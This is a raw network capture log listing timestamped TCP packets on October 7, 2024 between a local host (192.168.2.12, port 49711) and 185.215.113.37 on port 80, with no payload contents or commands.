Oct 7, 2024 18:03:24.755254030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755260944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755265951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755279064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755286932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755290985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755306005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755310059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755341053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755364895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755861998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755913019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756239891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756280899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756287098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756299973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756313086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756328106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756431103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756443024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756457090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756469965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756474018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756489038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756515980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.756974936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756987095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.756999016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757009983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757020950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.757021904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757035971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757047892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757050991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.757060051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757069111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.757085085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.757110119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.757960081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757972002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757983923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.757997036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758004904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758008957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758023024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758035898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758045912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758049965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758064985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758079052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758193970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758250952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758641005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758654118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758665085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758683920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758708000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.758943081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758955002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758965969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.758992910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.759017944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.759747028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759761095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759774923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759799957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.759824991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.759876013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759888887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759901047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759912968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.759922981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.759947062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760118008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760130882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760142088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760154963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760162115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760165930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760179043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760185957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760190964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760200977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760226011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760929108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760941982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760953903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.760977983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.760998964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.761059999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761073112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761084080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761096954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761105061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.761128902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.761282921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761296988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.761327028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.761351109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.762012959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762036085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762047052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762058973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.762079954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.762748957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762769938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762779951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.762790918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.762804985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.762819052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.763536930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.763564110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.763573885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.763581038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.763593912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.763609886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863064051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863133907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863184929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863194942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863239050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863660097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863706112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863746881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863759041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863790035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863801003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.863821983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863833904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.863873005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.910954952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.910999060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.911020994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.911052942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.931479931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931504965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931516886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931560040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931571960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931579113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.931583881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931597948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931606054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.931610107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931651115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.931968927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931981087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.931993961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932004929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932013035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.932015896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932029009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932041883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932046890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.932055950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932068110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932080984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.932081938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.932090044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.932120085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933140039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933156013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933168888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933196068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933219910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933228016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933239937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933252096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933264017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933274984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933285952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933319092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933438063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933450937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933478117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933490992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933494091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933506966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933518887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933528900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933531046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933540106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933543921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933557034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933559895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933569908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933581114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933595896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933619022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933897018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933908939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933922052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.933953047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.933979988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934148073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934159994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934171915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934184074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934195995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934206963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934233904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934668064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934726000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934730053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934736013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934758902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934787035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.934937000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934957981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934971094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.934989929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935000896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935421944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935476065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935503006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935516119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935548067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935590029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935602903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935615063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935626984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935641050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935650110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935677052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935856104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935868025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935879946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935892105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935892105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935904980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935911894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935919046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935933113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.935937881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935959101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.935980082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.936505079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.936558008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.936585903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.936595917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.936636925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.936713934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.936830044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.936991930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937022924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937032938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937067032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937093973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937386990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937542915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937586069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937596083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937643051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937653065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937663078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937674046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937685966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937695980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937715054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937767029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937777042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937796116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937813044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.937975883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.937985897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.938025951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.938370943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.938385010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.938419104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.938435078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.938556910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.938570023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.938611031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.938627958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.015283108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015304089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015316010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015355110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.015408993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.015512943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015525103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015536070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015546083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015557051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.015561104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.015580893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.015604973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056313038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056369066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056368113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056379080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056405067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056435108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056440115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056452036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056463003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056473017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056488037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056520939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056698084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056710005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056715965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056721926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056727886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056734085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056744099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056749105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.056788921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.056826115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057358027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057369947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057384968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057394028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057419062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057426929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057745934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057756901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057768106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057797909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057816982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057884932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057894945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057928085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.057931900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057944059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057954073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057965994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.057992935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058007956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058063030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058103085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058141947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058182955 CEST	49711	80	192.168.2.12	185.215.113.37
